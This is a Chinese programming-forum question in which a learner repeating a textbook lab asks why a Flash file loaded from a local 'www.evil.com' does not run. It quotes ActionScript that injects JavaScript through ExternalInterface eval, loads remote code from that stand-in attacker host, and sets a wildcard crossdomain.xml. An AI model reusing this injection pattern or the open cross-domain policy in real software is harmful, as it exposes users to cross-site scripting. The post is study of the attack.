cosmos队长 2015-08-23 10:31 采纳率: 0%
浏览 1585

Flash跨域问题请教标题要长长长

小弟在做书上的一个实验
1.先在host文件中建立对应关系:127.0.0.1对应着www.foo.com与www.evil.com
2.再依次编写URL.swf,与Hello.swf代码如下
URL.swf

 ExternalInterface.call("eval","alert(/xss/)");
             var loader1:Loader=new Loader();
             loader1.load(new URLRequest("http://www.evil.com/Hello.swf"));

Hello.swf

 ExternalInterface.call("eval","alert(/Helloworld/)");

同时部署策略文件crossdomain.xml于www根目录如下

 <?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-policy>

可当我访问http://www.foo.com/URL.swf时并没有弹出helloworld
在firefox下F12打开网络监控如下
图片说明
想请教一下各位大神,为何没有执行
PS:能够访问http://www.evil.com/Hello.swf

  • 写回答

1条回答 默认 最新

  • devmiao 2015-08-23 15:45
    关注
    评论

报告相同问题?

悬赏问题

  • ¥30 这是哪个作者做的宝宝起名网站
  • ¥60 版本过低apk如何修改可以兼容新的安卓系统
  • ¥25 由IPR导致的DRIVER_POWER_STATE_FAILURE蓝屏
  • ¥50 有数据,怎么建立模型求影响全要素生产率的因素
  • ¥50 有数据,怎么用matlab求全要素生产率
  • ¥15 TI的insta-spin例程
  • ¥15 完成下列问题完成下列问题
  • ¥15 C#算法问题, 不知道怎么处理这个数据的转换
  • ¥15 YoloV5 第三方库的版本对照问题
  • ¥15 请完成下列相关问题!